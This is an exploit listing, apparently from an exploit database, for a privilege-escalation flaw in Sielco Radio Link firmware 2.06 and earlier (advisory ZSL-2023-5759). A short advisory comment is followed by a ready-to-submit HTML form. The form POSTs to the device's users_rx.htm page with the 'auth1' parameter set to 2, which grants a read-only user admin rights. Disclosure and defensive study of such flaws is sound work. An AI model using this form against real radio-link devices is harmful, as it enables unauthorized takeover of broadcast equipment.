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## https://sploitus.com/exploit?id=ZSL-2023-5759
<!--
Sielco Radio Link 2.06 Remote Privilege Escalation
Vendor: Sielco S.r.l
Product web page: https://www.sielco.org
Affected version: 2.06 (RTX19)
2.05 (RTX19)
2.00 (EXC19)
1.60 (RTX19)
1.59 (RTX19)
1.55 (EXC19)
Summary: Sielco develops and produces radio links for all transmission
and reception needs, thanks to innovative units and excellent performances,
accompanied by a high reliability and low consumption.
Desc: The application suffers from a privilege escalation vulnerability.
A user with Read permissions can elevate his/her privileges by sending
a HTTP POST request setting the parameter 'auth1' or 'auth2' or 'auth3'
to integer value '1' for Write or '2' for Admin permissions.
Tested on: lwIP/2.1.1
Web/2.9.3
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2023-5759
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5759.php
26.01.2023
--><html>
<body>
<form action="http://radiolink/protect/users_rx.htm" method="POST">
<input name="pwd0" type="hidden" value=""/>
<input name="pwd0bis" type="hidden" value=""/>
<input name="user1" type="hidden" value="testingus"/>
<input name="pwd1" type="hidden" value=""/>
<input name="pwd1bis" type="hidden" value=""/>
<input name="auth1" type="hidden" value="2"/>
<input name="user2" type="hidden" value=""/>
<input name="pwd2" type="hidden" value=""/>
<input name="pwd2bis" type="hidden" value=""/>
<input name="auth2" type="hidden" value="0"/>
<input name="user3" type="hidden" value=""/>
<input name="pwd3" type="hidden" value=""/>
<input name="pwd3bis" type="hidden" value=""/>
<input name="auth3" type="hidden" value="0"/>
<input type="submit" value="Escalate"/>
</form>
</body>
</html>